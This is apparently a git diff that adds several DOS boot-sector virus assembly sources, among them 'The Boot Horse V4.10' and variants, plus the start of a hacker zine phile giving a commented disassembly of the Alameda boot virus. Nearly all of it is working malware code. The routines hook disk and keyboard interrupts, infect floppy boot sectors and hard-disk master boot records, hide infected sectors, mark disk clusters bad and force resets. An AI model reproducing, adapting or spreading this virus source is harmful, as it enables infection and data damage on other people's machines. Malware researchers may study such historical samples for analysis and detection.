es:[di],0 + je n_00035B + mov al,byte ptr es:[di] +n_00035B: + stosb + mov al,ah + loop n_000351 + push es + pop ds + mov [bx+2],ax + mov [bx],7C2Bh + sti + int 13 + jc n_0003D5 + mov al,byte ptr [7C10] + cbw + mul word ptr [7C16] + add ax,[7C1C] + add ax,[7C0E] + mov [7C3F],ax + mov [7C37],ax + mov ax,20 + mul word ptr [7C11] + mov bx,[7C0Bh] + add ax,bx + dec ax + div bx + add [7C37],ax + mov bx,500 + mov ax,[7C3F] + call n_000440 + mov ax,201 + call n_00045A + jb n_0003C2 + mov di,bx + mov cx,0Bh + mov si,7DD6 + rep cmpsb + jne n_0003C2 + lea di,[bx+20] + mov si,7DE1 + mov cx,0Bh + rep cmpsb + je n_0003DA +n_0003C2: + mov si,7D77 +n_0003C5: + call n_000432 + xor ah,ah + int 16 + pop si + pop ds + pop [si] + pop [si+2] + int 19 + +n_0003D5: + mov si,7DC0 + jmp n_0003C5 + +n_0003DA: + mov ax,[51C] + xor dx,dx + div word ptr [7C0Bh] + inc al + mov [7C3C],al + mov ax,[7C37] + mov [7C3Dh],ax + mov bx,700 +n_0003F1: + mov ax,[7C37] + call n_000440 + mov ax,[7C18] + sub al,[7C3Bh] + inc ax + cmp [7C3C],al + jnb n_000408 + mov al,[7C3Ch] +n_000408: + push ax + call n_00045A + pop ax + jb n_0003D5 + sub [7C3C],al + je n_000421 + add [7C37],ax + mul word ptr [7C0Bh] + add bx,ax + jmp n_0003F1 +n_000421: + mov ch,[7C15] + mov dl,[7DFDh] + mov bx,[7C3Dh] + jmp far ptr f_000700 + +n_000432: + lodsb + or al,al + je n_000459 + mov ah,0E ;Write character in TTY graphics mode + mov bx,7 + int 10 + jmp n_000432 + +n_000440: + xor dx,dx + div word ptr [7C18] + inc dl + mov [7C3Bh],dl + xor dx,dx + div word ptr [7C1A] + mov [7C2A],dl + mov [7C39],ax +n_000459: + ret + +n_00045A: + mov ah,2 + mov dx,[7C39] + mov cl,6 + shl dh,cl + or dh,[7C3Bh] + mov cx,dx + xchg ch,cl + mov dl,[7DFDh] + mov dh,[7C2A] + int 13 + ret + + db 0Dh,0A,'Non-System disk or disk error',0Dh,0A + db 'Replace and strike any key when ready',0Dh,0A,0 + db 0Dh,0A,'Disk Boot failure',0Dh,0A,0 + db 'IBMBIO SYS' + db 'IBMDOS SYS' + db 12 dup (0) + dw 0AA55 + + extrn f_000020:far,n_000336:near,n_000368:near + extrn n_FFFF9D:near,n_FFFF98:near + extrn f_000700:far,f_0F05E6:far,f_3FFF98:far + extrn f_3FFF9D:far + \ No newline at end of file diff --git a/b/BOOT410.ASM b/b/BOOT410.ASM new file mode 100755 index 0000000..6ed6678 --- /dev/null +++ b/b/BOOT410.ASM @@ -0,0 +1,257 @@ + .radix 16 + ;****************************************** + ; * + ; Code masters LTD. presents: * + ; THE BOOT HORSE V4.10 * + ; Finished on the 25.04.1991. * + ; This is a boot virus,which does not * + ; "cuts" memory.It places itself into the * + ; second part of the interrupt table.If * + ; it is resident you will not be able to * + ; see the infected boot sector.If you * + ; press CTRL-ALT-DEL & INT 13h had not * + ; been changed,drive A: will be infected. * + ; It shows you the message 'Brr...!' with * + ; possibility 1/16. * + ; Good luck! * + ;****************************************** +Start: + cld ;clear direction + xor ax,ax ;clear ax + mov bp,7c00 ;bp=7c00 + mov ds,ax ;ds=ax=0 + mov ss,ax ;ss=ax=0 + mov sp,bp ;sp=bp=7c00 + push ax ;save abs. addr. 0000:7c00 in stack for retf + push bp ; + xor di,di ;clear di + les bx,[di+9*4] ;load es:bx with current int 09h + mov word ptr [bp+old9h-Start],bx ;save it in a variable + mov word ptr [bp+old9h-Start+2],es + les bx,[di+13*4] ;load es:bx with current int 13h + mov word ptr [bp+old13h-Start],bx ;save it in a variable + mov word ptr [bp+old13h-Start+2],es + mov ax,0020 ;ax=20 + mov [di+9*4],offset int9h-Start ;set int 09h + mov [di+9*4+2],ax + mov [di+13*4],offset int13h-Start ;set int 13h + mov [di+13*4+2],ax + mov es,ax ;es=ax=20 + mov cx,0200 ;will move 512 bytes + mov si,bp ;si=bp=7c00 + rep movsb ;move to 0020:0000 (vectors) + push es ;save es&ax for retf + mov ax,offset here-Start + push ax + retf ;go to 0020:here-Start +here: + test byte ptr [046C],0F ;show a message with possibility 1/16 + jnz dont + mov si,offset msg-Start ;si point the message + mov cx,endmsg-msg ;strings to show +show_it: + db 26 ;ES:lodsb + lodsb ;load next char + mov ah,0e ;show char + xor bh,bh + int 10 ;do it + loop show_it ;show next +dont: + xor ah,ah ;initialize + int 13 + mov es,cx ;es=cx=0 + xchg ax,di + inc ax ;ax=201 =>read one sector. + mov bx,bp ;bx=bp=7c00 + inc cx ;sector 1,cylinder 0.boot sector + mov dx,0080 ;dx=0080 + cmp byte ptr cs:[ident-Start],dl ;if equal=>loading from hdd + je hard + push dx ;save dx + xor dl,dl ;drive A: + push ax ;save ax + int 13 ;read old bootsector from diskette + pop ax ;restore ax=201,read one sector + pop dx ;drive C: + mov bx,0600 ;bx=600 + call ojoj ;read hdd's boot sector + jc goout ;no hdd installed + call check ;infected? + je goout ;yes ->out! + mov ax,0301 ;write one sector (save old) + push ax ;save ax + mov cx,0004 ;sector 4,cylinder 0 + int 13 ;do it + mov byte ptr cs:[ident-Start],dl ;set identificator + push cs ;es=cs + pop es + mov si,07BE ; + mov di,01BE ; copy old partition + mov cx,64d ; + rep movsb ; + pop ax ;Write one sector,ax=301 + xor bx,bx ;from addr ES:BX,bx=0 =>write virus + inc cx ;sector 1,cylinder 0.Boot sector. +hard: + int 13 ;do it +goout: + mov byte ptr cs:[ident-Start],0 ;set ident + retf ;go to 0000:7c00 +int13h: + ;save ax,ds + push ax + push ds + cmp ah,02 ;function read? + jne skip + cmp dl,80 ;drive A,B or C? + ja skip + cmp cx,0001 ; + jne notboot ;gonna read bootsector? + or dh,dh ; + jnz notboot ; + pop ds ;restore ax,ds + pop ax + call ojoj ;execute the task + jc all ;if error then no sence + pushf ;save some registers + push ax + push cx + push dx + call check ;infected? + jne notnow + mov ax,0201 + inc cx ;if so then make some tricks + inc cx ;sector 3,cylinder 0 + inc dh ;side 1 + test dl,80 ;hdd? + je dolie ;if not then + inc cx ;sector 4,cylinder 0 + dec dh ;side 0 +dolie: + call ojoj ;read boot +notnow: + pop dx ;restore registers + pop cx + pop ax + popf +all: +; retf 0002 ;return to caller +db 0ca,2,0 +notboot: + test dl,80 ;drive=C? + jne skip ;if so =>out! + xor ax,ax ;clear ax + mov ds,ax ;ds=ax=0 + mov al,byte ptr [043F] ;this byte shows whether the motor is active + push dx ;save dx + inc dl ;adjust dl + test al,dl ;check if the motor is active. + pop dx ;restore dx + jnz skip ;if so =>leave + call infect ;infect it +skip: + pop ds ;restore flags,ax,ds + pop ax +do: + db 0EAh ;go to the original int 13h + old13h dd 000h ;JMP XXXX:XXXX +infect: + push bx ;save some registers + push cx + push dx + push es + mov ax,0201 ;will read 1 sector + mov cx,0001 ;sector 1,cylinder 0 + xor dh,dh ;side 0 + call ojoj ;do it + jc leave ;on error... + mov byte ptr cs:[count-Start],36d ;load counter + call check ;infected? + je leave ;leave if so. + mov ax,0301 ;write one sector + inc cx ;sector 3,cylinder 0 + inc cx + inc dh ;side 1 + push ax ;save ax + call ojoj ;do write (save old bootsector) + pop ax ;restore ax + jc leave ;write protected + push cs ;es=cs + pop es + xor bx,bx ;write virus + dec cx ;make cx=1 + dec cx ;sector 1,cylinder 0 + dec dh ;side 0 + call ojoj ;that's it! +leave: + pop es ;restore registers + pop dx + pop cx + pop bx + ret ;return +ojoj: + pushf ;this calles the original int 13h + push cs + call do + ret +check: + cmp es:[bx],31FCh ;this checks the first 2 bytes + ret ;to understand if the disk is infected +int9h: + push ax ;the keybord interrupt.save AX + mov ah,02 ;check if ctrl-alt is pressed + int 16 ; + test al,00001100b ;if not =>exit + jz exit + in al,60 ;is del pressed? + cmp al,53 + je cont ;if so... +exit: + pop ax ;restore ax + db 0EAh ;go to the old int 09h + old9h dd 000h ;JMP XXXX:XXXX +cont: + mov al,20 ;free interrupts + out 20,al ;do it + mov ax,0003 ;clear screen + int 10 ;do it + mov dx,03D8 ;chose video port + mov al,04 ;video flag + out dx,al ;no video + mov ax,0060 ;es=60 + mov es,ax ; + xor bx,bx ;drive A + xor dl,dl ;bx=0 + mov ds,bx ;dx=bx=0 + mov byte ptr cs:[count-Start],18d ;load counter to 1 sec. + cli ;set int 1ch + mov [bx+1c*4],offset int1ch-Start + mov [bx+1c*4+2],cs + sti + cmp [bx+13*4],offset int13h-Start ;is int 13h changed? + jne reset ;if so reset computer + call infect ;infect disk in drive A +reset: + xor bx,bx + mov ds,bx ;don't count memory ! + mov [bx+0472],1234 +; JMP FFFF:0000 ;Reset +db 0ea,00,00,0ff,0ff +int1ch: + dec byte ptr cs:[count-Start] ;decrease counter + jz reset ;if zero then reset + iret ;otherwise continue +msg db 'Brr...!',7,0a,0dh, ;message +endmsg label word +ident db 0 ;0 for fdd,80 for hdd +count label byte +partition db 64d dup (?) +bootident dw 0AA55 +endcode label word + + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/b/BOOTHORS.ASM b/b/BOOTHORS.ASM new file mode 100755 index 0000000..dcfb21b --- /dev/null +++ b/b/BOOTHORS.ASM @@ -0,0 +1,217 @@ +; +; The Horse's boot sector virus +; This is an author's source +; + + + + .radix 16 +begin: + jmp start + +my label word + + db 'IBM 3.3' + dw 200 + db 2 + dw 1 + db 2 + dw 70 + dw 2d0 + db 0fdh + dw 2 + dw 9 + dw 2 + dw 0 + +lee label word + +virlen equ offset endcode-begin + +start: + cld + sub ax,ax + mov ds,ax + mov bp,7c00 + cli + mov ss,ax + mov sp,bp + sti + push ax + push bp + mov ax,[413] + push [13*4+2] + push [13*4] + pop word ptr [old13h+7c00-100] + pop word ptr [old13h+7c00-100+2] + dec ax + mov [413],ax + mov cl,6 + shl ax,cl + mov es,ax + + mov [13*4],offset int13h-100 + mov [13*4+2],es + + mov cx,virlen + sub di,di + mov si,bp + rep movsb + push es + mov ax,offset here-begin + push ax + retf +here: + sub ax,ax + mov es,ax + int 13 + mov ax,0201 + mov bx,bp + cmp byte ptr cs:[ident-100],0fdh + je from_disk + mov cx,0007 + mov dx,0080 + int 13 + jmp exit + +from_disk: + + mov cx,2709 + mov dx,0100 + int 13 + jc exit + push cs + push cs + pop es + pop ds + mov ax,0201 + mov bx,0200 + mov cx,0001 + mov dx,0080 + int 13 + jc exit + call inf? + je exit + mov byte ptr [ident-100],0f8 + mov ax,0301 + mov bx,0200 + mov cx,0007 + mov dx,0080 + int 13 + jc exit + call move + mov ax,0301 + sub bx,bx + mov cx,0001 + int 13 +exit: + mov byte ptr cs:[ident-100],0fdh + retf +int13h: + push ds + push ax + cmp dl,1 + ja skip + cmp ah,2 + jb skip + cmp ah,3 + ja skip + sub ax,ax + mov ds,ax + mov al,[43f] + push dx + and ax,3 + and dx,3 + inc dl + test al,dl + pop dx + jne skip + call infect +skip: + pop ax + pop ds +do: + jmp dword ptr cs:[old13h-100] + +infected?: + + sub ax,ax + call ojoj + mov ax,0201 + mov bx,0200 + mov cx,0001 + sub dh,dh + call ojoj +inf?: + mov si,offset start-100 + mov di,offset start-100+200 + mov cx,mbyte-start + rep cmpsb +return: + ret +infect: + push bx + push cx + push dx + push si + push di + push es + push cs + push cs + pop es + pop ds + cld + call infected? + je leave + mov ax,0301 + mov bx,0200 + mov cx,2709 + mov dh,1 + call ojoj + jc leave + call move + mov ax,0301 + sub bx,bx + mov cx,0001 + sub dh,dh + call ojoj +leave: + pop es + pop di + pop si + pop dx + pop cx + pop bx + ret + +ojoj: + pushf + push cs + call do + ret +move: + mov di,offset my-100 + mov si,offset my-100+200 + mov cx,lee-my + rep movsb + mov di,offset usm-100 + mov si,offset usm-100+200 + mov cx,endcode-usm + rep movsb + ret + + +mbyte label word + +old13h dd ? +ident db 0fdh + +usm label word + +db 135d dup (?) + +db 55,0AA + +endcode label word + + \ No newline at end of file diff --git a/b/BOOTHRS2.ASM b/b/BOOTHRS2.ASM new file mode 100755 index 0000000..cbf81ab --- /dev/null +++ b/b/BOOTHRS2.ASM @@ -0,0 +1,252 @@ + .radix 16 + ;****************************************** + ; * + ; Code masters LTD. presents: * + ; THE BOOT HORSE V4.10 * + ; Finished on the 25.04.1991. * + ; This is a boot virus,which does not * + ; "cuts" memory.It places itself into the * + ; second part of the interrupt table.If * + ; it is resident you will not be able to * + ; see the infected boot sector.If you * + ; press CTRL-ALT-DEL & INT 13h had not * + ; been changed,drive A: will be infected. * + ; It shows you the message 'Brr...!' with * + ; possibility 1/16. * + ; Good luck! * + ;****************************************** +Start: + cld ;clear direction + xor ax,ax ;clear ax + mov bp,7c00 ;bp=7c00 + mov ds,ax ;ds=ax=0 + mov ss,ax ;ss=ax=0 + mov sp,bp ;sp=bp=7c00 + push ax ;save abs. addr. 0000:7c00 in stack for retf + push bp ; + xor di,di ;clear di + les bx,[di+9*4] ;load es:bx with current int 09h + mov word ptr [bp+old9h-Start],bx ;save it in a variable + mov word ptr [bp+old9h-Start+2],es + les bx,[di+13*4] ;load es:bx with current int 13h + mov word ptr [bp+old13h-Start],bx ;save it in a variable + mov word ptr [bp+old13h-Start+2],es + mov ax,0020 ;ax=20 + mov [di+9*4],offset int9h-Start ;set int 09h + mov [di+9*4+2],ax + mov [di+13*4],offset int13h-Start ;set int 13h + mov [di+13*4+2],ax + mov es,ax ;es=ax=20 + mov cx,0200 ;will move 512 bytes + mov si,bp ;si=bp=7c00 + rep movsb ;move to 0020:0000 (vectors) + push es ;save es&ax for retf + mov ax,offset here-Start + push ax + retf ;go to 0020:here-Start +here: + test byte ptr [046C],0F ;show a message with possibility 1/16 + jnz dont + mov si,offset msg-Start ;si point the message + mov cx,endmsg-msg ;strings to show +show_it: + db 26 ;ES:lodsb + lodsb ;load next char + mov ah,0e ;show char + xor bh,bh + int 10 ;do it + loop show_it ;show next +dont: + xor ah,ah ;initialize + int 13 + mov es,cx ;es=cx=0 + xchg ax,di + inc ax ;ax=201 =>read one sector. + mov bx,bp ;bx=bp=7c00 + inc cx ;sector 1,cylinder 0.boot sector + mov dx,0080 ;dx=0080 + cmp byte ptr cs:[ident-Start],dl ;if equal=>loading from hdd + je hard + push dx ;save dx + xor dl,dl ;drive A: + push ax ;save ax + int 13 ;read old bootsector from diskette + pop ax ;restore ax=201,read one sector + pop dx ;drive C: + mov bx,0600 ;bx=600 + call ojoj ;read hdd's boot sector + jc goout ;no hdd installed + call check ;infected? + je goout ;yes ->out! + mov ax,0301 ;write one sector (save old) + push ax ;save ax + mov cx,0004 ;sector 4,cylinder 0 + int 13 ;do it + mov byte ptr cs:[ident-Start],dl ;set identificator + push cs ;es=cs + pop es + mov si,07BE ; + mov di,01BE ; copy old partition + mov cx,64d ; + rep movsb ; + pop ax ;Write one sector,ax=301 + xor bx,bx ;from addr ES:BX,bx=0 =>write virus + inc cx ;sector 1,cylinder 0.Boot sector. +hard: + int 13 ;do it +goout: + mov byte ptr cs:[ident-Start],0 ;set ident + retf ;go to 0000:7c00 +int13h: + ;save ax,ds + push ax + push ds + cmp ah,02 ;function read? + jne skip + cmp dl,80 ;drive A,B or C? + ja skip + cmp cx,0001 ; + jne notboot ;gonna read bootsector? + or dh,dh ; + jnz notboot ; + pop ds ;restore ax,ds + pop ax + call ojoj ;execute the task + jc all ;if error then no sence + pushf ;save some registers + push ax + push cx + push dx + call check ;infected? + jne notnow + mov ax,0201 + inc cx ;if so then make some tricks + inc cx ;sector 3,cylinder 0 + inc dh ;side 1 + test dl,80 ;hdd? + je dolie ;if not then + inc cx ;sector 4,cylinder 0 + dec dh ;side 0 +dolie: + call ojoj ;read boot +notnow: + pop dx ;restore registers + pop cx + pop ax + popf +all: +; retf 0002 ;return to caller +db 0ca,2,0 +notboot: + test dl,80 ;drive=C? + jne skip ;if so =>out! + xor ax,ax ;clear ax + mov ds,ax ;ds=ax=0 + mov al,byte ptr [043F] ;this byte shows whether the motor is active + push dx ;save dx + inc dl ;adjust dl + test al,dl ;check if the motor is active. + pop dx ;restore dx + jnz skip ;if so =>leave + call infect ;infect it +skip: + pop ds ;restore flags,ax,ds + pop ax +do: + db 0EAh ;go to the original int 13h + old13h dd 000h ;JMP XXXX:XXXX +infect: + push bx ;save some registers + push cx + push dx + push es + mov ax,0201 ;will read 1 sector + mov cx,0001 ;sector 1,cylinder 0 + xor dh,dh ;side 0 + call ojoj ;do it + jc leave ;on error... + mov byte ptr cs:[count-Start],36d ;load counter + call check ;infected? + je leave ;leave if so. + mov ax,0301 ;write one sector + inc cx ;sector 3,cylinder 0 + inc cx + inc dh ;side 1 + push ax ;save ax + call ojoj ;do write (save old bootsector) + pop ax ;restore ax + jc leave ;write protected + push cs ;es=cs + pop es + xor bx,bx ;write virus + dec cx ;make cx=1 + dec cx ;sector 1,cylinder 0 + dec dh ;side 0 + call ojoj ;that's it! +leave: + pop es ;restore registers + pop dx + pop cx + pop bx + ret ;return +ojoj: + pushf ;this calles the original int 13h + push cs + call do + ret +check: + cmp es:[bx],31FCh ;this checks the first 2 bytes + ret ;to understand if the disk is infected +int9h: + push ax ;the keybord interrupt.save AX + mov ah,02 ;check if ctrl-alt is pressed + int 16 ; + test al,00001100b ;if not =>exit + jz exit + in al,60 ;is del pressed? + cmp al,53 + je cont ;if so... +exit: + pop ax ;restore ax + db 0EAh ;go to the old int 09h + old9h dd 000h ;JMP XXXX:XXXX +cont: + mov al,20 ;free interrupts + out 20,al ;do it + mov ax,0003 ;clear screen + int 10 ;do it + mov dx,03D8 ;chose video port + mov al,04 ;video flag + out dx,al ;no video + mov ax,0060 ;es=60 + mov es,ax ; + xor bx,bx ;drive A + xor dl,dl ;bx=0 + mov ds,bx ;dx=bx=0 + mov byte ptr cs:[count-Start],18d ;load counter to 1 sec. + cli ;set int 1ch + mov [bx+1c*4],offset int1ch-Start + mov [bx+1c*4+2],cs + sti + cmp [bx+13*4],offset int13h-Start ;is int 13h changed? + jne reset ;if so reset computer + call infect ;infect disk in drive A +reset: + xor bx,bx + mov ds,bx ;don't count memory ! + mov [bx+0472],1234 +; JMP FFFF:0000 ;Reset +db 0ea,00,00,0ff,0ff +int1ch: + dec byte ptr cs:[count-Start] ;decrease counter + jz reset ;if zero then reset + iret ;otherwise continue +msg db 'Brr...!',7,0a,0dh, ;message +endmsg label word +ident db 0 ;0 for fdd,80 for hdd +count label byte +partition db 64d dup (?) +bootident dw 0AA55 +endcode label word + + \ No newline at end of file diff --git a/b/BOOTHRS3.ASM b/b/BOOTHRS3.ASM new file mode 100755 index 0000000..59d90e6 --- /dev/null +++ b/b/BOOTHRS3.ASM @@ -0,0 +1,434 @@ + .radix 16 +start: + jmp begin + + db 'IBM 3.3' + dw 200 + db 2 + dw 1 + db 2 + dw 70 + dw 2D0 + db 0FDh + dw 2 + dw 9 + dw 2 + dw 0 + +work dd ? +count db ? +drive db ? +Fat_sec dw ? +old_boot dw 666d +flag db ? +sys_sec dw ? + +;Simulate PUSHA + +pusha: + pop word ptr cs:[sys_sec-start] + pushf + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + jmp word ptr cs:[sys_sec-start] + +;Simulate POPA + +popa: + pop word ptr cs:[sys_sec-start] + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + jmp word ptr cs:[sys_sec-start] + +;This procedure Reads/Writes the absolute sector in BX +;ES:BP must point I/O buffer + +write: + mov ah,3 + jmp short do_it +read: + mov ah,2 +do_it: + mov al,1 + xchg ax,bx + add ax,[001C] ;Hidden sectors + xor dx,dx + div word ptr [0018] + inc dl ;Adjust dl because BIOS counts sectors from 1 (not from 0) + mov ch,dl ;dl is the first sector + xor dx,dx + div word ptr [001A] ;Cylinder in AX + mov cl,6 ;Set CX if cylinder is bigger than 512 + shl ah,cl + or ah,ch + xchg ax,cx + xchg ch,cl + xchg dh,dl + xchg ax,bx + +abs_read: + xchg bx,bp + mov dl,byte ptr [drive-start] ;dl is the drive + pushf + db 9A +orig dd ? + jnc ok_func + pop ax +ok_func: + ret + + +begin: + xor ax,ax ;Virus begining + mov bp,7C00 + mov ds,ax ;Clear ds&ss + mov ss,ax + mov sp,bp ;Set SP bellow virus + xchg ax,di + mov si,bp + mov ax,2000 ;Copy virus somewhere in memory + mov es,ax + mov cx,0100 + rep movsw + push es + mov ax,offset here-start + push ax + retf ;go there + + +here: + mov ax,1234 + cmp [80*4],ax + mov [80*4],ax + je skip_this + les bx,[1C*4] ;Get old int 1Ch value + mov cs:[work-start],bx + mov cs:[work-start+2],es + mov [1C*4],offset entry_1C-start ;Set new value + mov [1C*4+2],cs + +skip_this: + + les bx,[13*4] ;Save original int 13h + mov cs:[orig-start],bx + mov cs:[orig-start+2],es + push cs ;DS=ES=CS + push cs + pop ds + pop es +again: + mov ax,offset again-start + push ax + xor ah,ah ;Initialize Floppy + mov byte ptr [flag-start],ah + int 13 + and byte ptr [drive-start],80 ;Drive A: or C: + mov bx,word ptr [old_boot-start] ;Read second part + mov bp,offset second-start + call read + mov bx,word ptr [old_boot-start] + inc bx + xor ax,ax + mov es,ax + mov bp,7C00 + call read ;Read old Boot + db 0EA,00,7C,00,00 ;JMP 0000:7C00 + +entry_1C: + push si + push ds + + xor si,si + mov ds,si + cmp [si+21*4],si + je not_yet + + push bx + push es + + les bx,cs:[si+work-start] + mov [si+1C*4],bx + mov [si+1C*4+2],es + les bx,[si+21*4] + mov word ptr cs:[si+jmp_21-start],bx + mov word ptr cs:[si+jmp_21-start+2],es + mov [si+21*4],offset go_on-start + mov [si+21*4+2],cs + + pop es + pop bx + +not_yet: + pop ds + pop si + iret + +go_on: + call pusha + cmp ax,4B00 + je install +return: + call popa + + db 0EA +jmp_21 dd ? + +install: + + mov ah,52 + int 21 + xor si,si + xor di,di + mov ds,es:[bx-02] + mov bx,ds + mov ax,[si+3] + add [si+3],96 + inc bx + add ax,bx + mov es,ax + push es + mov ax,es:[si+3] + sub ax,96 + push ax + mov ax,[si+3] + add ax,bx + mov ds,ax + mov byte ptr [si],'Z' + mov [si+1],si + pop [si+3] + pop es + push cs + pop ds + mov cx,0200 + rep movsw + mov ax,word ptr [jmp_21-start] + mov bx,word ptr [jmp_21-start+2] + mov ds,cx + mov [21*4],ax + mov [21*4+2],bx + mov ax,[13*4] + mov bx,[13*4+2] + mov es:[my-start],ax + mov es:[my-start+2],bx + mov [13*4],offset real-start + mov [13*4+2],es + jmp short return + + +real: + call pusha + cmp ah,02 + jne exit + cmp dl,81 + ja exit + mov byte ptr cs:[drive-start],dl +check: + xor ax,ax + mov ds,ax + mov byte ptr cs:[flag-start],al + mov al,byte ptr [043F] + push dx + test dl,80 + jz ok_drive + sub dl,7F + shl dx,1 + shl dx,1 + dec dx +ok_drive: + inc dx + test al,dl + pop dx + jnz exit + push cs + push cs + pop es + pop ds + call infect +exit: + call popa +call_cur: + db 0EA +my dd ? + +ident dw 01234 + dw 0AA55 + + second label word + + db '666' + +infect: + push dx + xor ah,ah + int 1A + test dl,01 + pop dx + jz bad + mov ax,0201 + mov dh,0 + mov cx,0001 + mov bp,offset buffer-start + call abs_read + test dl,80 + jz usual + mov bx,offset buffer-start+01BE + mov cx,0004 +search: + cmp byte ptr [bx+4],1 + je okay + cmp byte ptr [bx+4],4 + je okay + add bx,10 + loop search + ret + +okay: + mov dx,[bx] + mov cx,[bx+2] + mov ax,0201 + mov bp,offset buffer-start + call abs_read +usual: + mov si,offset buffer-start+3 + mov di,0003 + mov cx,1Bh + rep movsb + cmp [buffer-start+01FC],1234 ;Infected ? + jne well +bad: + ret + +well: + cmp [0Bh],200 ;Bytes in sector + jne bad + cmp byte ptr [0Dh],2 ;Sectors in 1 cluster + jb bad + mov cx,[0E] ;Reserved dectors + mov al,[10] ;Copies of FAT + cbw + mul word ptr [16] ;FAT in sectors + add cx,ax + mov ax,20 ;32 bytes + mul word ptr [11] ;Elements in the catalogue + mov bx,1FF + add ax,bx + inc bx + div bx + add cx,ax + mov word ptr [sys_sec-start],cx ;system sectors + mov ax,[0013] ;Sectors on the disk + sub ax,cx + mov bl,[0Dh] ;Sectors in cluster + xor dx,dx + xor bh,bh + div bx + inc ax ;AX=clusters on disk + mov di,ax + and byte ptr [flag-start],0FE + cmp ax,0FF0 + jbe small + or byte ptr [flag-start],1 +small: + mov si,1 + mov bx,[0E] ;Where to read FAT from + dec bx + mov [Fat_sec-start],bx + mov byte ptr [count-start],0FE + +look_here: + + inc word ptr [Fat_sec-start] ;Next sector in FAT + mov bx,[Fat_sec-start] + add byte ptr [count-start],2 ;Adjust for new offset + mov bp,offset buffer-start ;BP points buffer + call read ;Read FAT's sector + jmp short where + +look: + mov ax,3 ;Multiply by 1.5 rounded down to integer number + test byte ptr [flag-start],1 + je go_1 + inc ax ;For 16 bit FAT +go_1: + mul si + shr ax,1 + sub ah,byte ptr [count-start] ;Adjust offset in range of 512 bytes + mov bx,ax + cmp bx,1FF ;If reached the end then load next FAT sector + jnb look_here + mov dx,[bx+buffer-start] ;Information for this cluster + test byte ptr [flag-start],01 + jne go_2 + test si,1 + je go_3 + mov cl,4 + shr dx,cl +go_3: + and dh,0F +go_2: + or dx,dx ;Free cluster ? + jz found +where: + inc si + cmp si,di + jbe look + ret + +found: + mov dx,0FFF7 ;Prepare for marking it as bad + test byte ptr [flag-start],1 + jnz go_4 + and dh,0F + test si,1 + je go_4 + mov cl,4 + shl dx,cl +go_4: + or [bx+buffer-start],dx ;Set it in FAT + mov bx,[Fat_sec-start] + mov bp,offset buffer-start + call write ;Update 1'st FAT copy + mov ax,si ;Convert cluster address in si to sector number + sub ax,2 + mov bl,byte ptr [0Dh] + xor bh,bh + mul bx + add ax,[sys_sec-start] + mov si,ax ;Si is the sector that is free + xor bx,bx + mov bp,offset buffer-start + call read ;Read old BOOTSECTOR + mov bx,si ;Put it in a quiet place + inc bx + mov bp,offset buffer-start + call write ;Do that + mov bx,si + mov [old_boot-start],si + mov bp,offset second-start + call write + xor bx,bx + xor bp,bp + call write + ret + +this_ db 1024d-(this_-start) dup (0F6h) + + buffer label word + + + \ No newline at end of file diff --git a/b/BOOTVIR (28).ASM b/b/BOOTVIR (28).ASM new file mode 100755 index 0000000..67c92bb --- /dev/null +++ b/b/BOOTVIR (28).ASM @@ -0,0 +1,431 @@ + + P/HUN Issue #4, Volume 2: Phile 3 of 11 + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + A BOOT SECTOR VIRUS + 5/15/89 + + +The following is a disassembled and commented version of the Alemeda +College Boot infector virus. Courtesy of Southern Cross. + + +;-----------------------------------------------------------------------; +; This virus is of the "FLOPPY ONLY" variety. ; +; It replicates to the boot sector of a floppy disk and when it gains control +; it will move itself to upper memory. It redirects the keyboard ; +; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ; +; it will attempt to infect any floppy it finds in drive A:. ; +; It keeps the real boot sector at track 39, sector 8, head 0 ; +; It does not map this sector bad in the fat (unlike the Pakistani Brain) +; and should that area be used by a file, the virus ; +; will die. It also contains no anti detection mechanisms as does the ; +; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ; +; sector 9 because this is common to all floppy formats both single ; +; sided and double sided. It does not contain any malevolent TROJAN ; +; HORSE code. It does appear to contain a count of how many times it ; +; has infected other diskettes although this is harmless and the count ; +; is never accessed. ; +; ; +; Things to note about this virus: ; +; It can not only live through an ALT-CTRL-DEL reboot command, but this ; +; is its primary (only for that matter) means of reproduction to other ; +; floppy diskettes. The only way to remove it from an infected system ; +; is to turn the machine off and reboot an uninfected copy of DOS. ; +; It is even resident when no floppy is booted but BASIC is loaded ; +; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ; +; it activates and infectes the floppy from which the user is ; +; attempting to boot. ; +; ; +; Also note that because of the POP CS command to pass control to ; +; its self in upper memory, this virus does not to work on 80286 ; +; machines (because this is not a valid 80286 instruction). ; +; ; +; The Norton Utilities can be used to identify infected diskettes by ; +; looking at the boot sector and the DOS SYS utility can be used to ; +; remove it (unlike the Pakistani Brain). ; +;-----------------------------------------------------------------------; + ; + ORG 7C00H ; + ; +TOS LABEL WORD ;TOP OF STACK +;-----------------------------------------------------------------------; +; 1. Find top of memory and copy ourself up there. (keeping same offset); +; 2. Save a copy of the first 32 interrupt vectors to top of memory too ; +; 3. Redirect int 9 (keyboard) to ourself in top of memory ; +; 4. Jump to ourself at top of memory ; +; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ; +;-----------------------------------------------------------------------; +BEGIN: CLI ;INITIALIZE STACK + XOR AX,AX ; + MOV SS,AX ; + MOV SP,offset TOS ; + STI ; + ; + MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512) + MOV DS,BX ; + MOV AX,[0013H] ; + MUL BX ; + SUB AX,07E0H ; (7C00H+512)/16 + MOV ES,AX ; + ; + PUSH CS ;DS = CS + POP DS ; + ; + CMP DI,3456H ;IF THE VIRUS IS REBOOTING... + JNE B_10 ; + DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1-- + ; +B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY + MOV DI,SI ; + MOV CX,512 ; + CLD ; + REP MOVSB ; + ; + MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO + MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE + MOV CX,128 ; + REP MOVSB ; + ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + ; + PUSH ES ;ES=HI ;JUMP TO OUR HI CODE 